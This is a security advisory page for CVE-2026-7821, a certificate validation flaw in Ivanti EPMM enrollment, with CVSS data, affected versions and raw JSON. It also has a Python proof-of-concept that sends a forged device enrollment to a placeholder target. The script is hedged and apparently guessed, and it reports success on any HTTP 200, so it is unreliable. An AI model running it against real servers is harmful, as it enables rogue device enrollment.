Security Vulnerability Report
中文
CVE-2026-7821 CVSS 7.4 HIGH

CVE-2026-7821

Published: 2026-05-07 16:16:23
Last Modified: 2026-05-07 20:09:25
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Improper certificate validation in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remote unauthenticated attacker to enroll a device belonging to a restricted set of unenrolled devices, leading to information disclosure about EPMM appliance and impacting on the integrity of the newly enrolled device identity.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.8.0.0:*:*:*:*:*:*:* - VULNERABLE
Ivanti EPMM < 12.6.1.1
Ivanti EPMM < 12.7.0.1
Ivanti EPMM < 12.8.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-7821 PoC Concept # Target: Ivanti EPMM < 12.6.1.1, 12.7.0.1, 12.8.0.1 # Description: Exploits improper certificate validation to enroll a rogue device. target_url = "https://<TARGET_IP>/mics/enroll" # Example endpoint, may vary headers = { "User-Agent": "Malicious-Device-Agent/1.0", "Content-Type": "application/json" } # Payload mimicking a device enrollment request with improper/forged certificate context payload = { "device_id": "rogue_device_123", "platform": "Android", # Certificate data might be omitted or malformed due to lack of validation } try: # The vulnerability allows bypassing strict cert checks on the server side # or allows enrollment without proper client auth cert validation. response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Device potentially enrolled.") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) except Exception as e: print("[-] Error:", e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7821", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-05-07T16:16:23.450", "lastModified": "2026-05-07T20:09:25.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper certificate validation in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remote unauthenticated attacker to enroll a device belonging to a restricted set of unenrolled devices, leading to information disclosure about EPMM appliance and impacting on the integrity of the newly enrolled device identity."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.6.1.1", "matchCriteriaId": "940E9259-A59E-4424-8B2E-05571C4B78AE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "79879C08-959D-49BD-947C-914F82B564E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager_mobile:12.8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "EAB6A5F3-3F82-41BF-B7C6-8F4F0E813B9F"}]}]}], "references": [{"url": "https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory", "Patch"]}]}}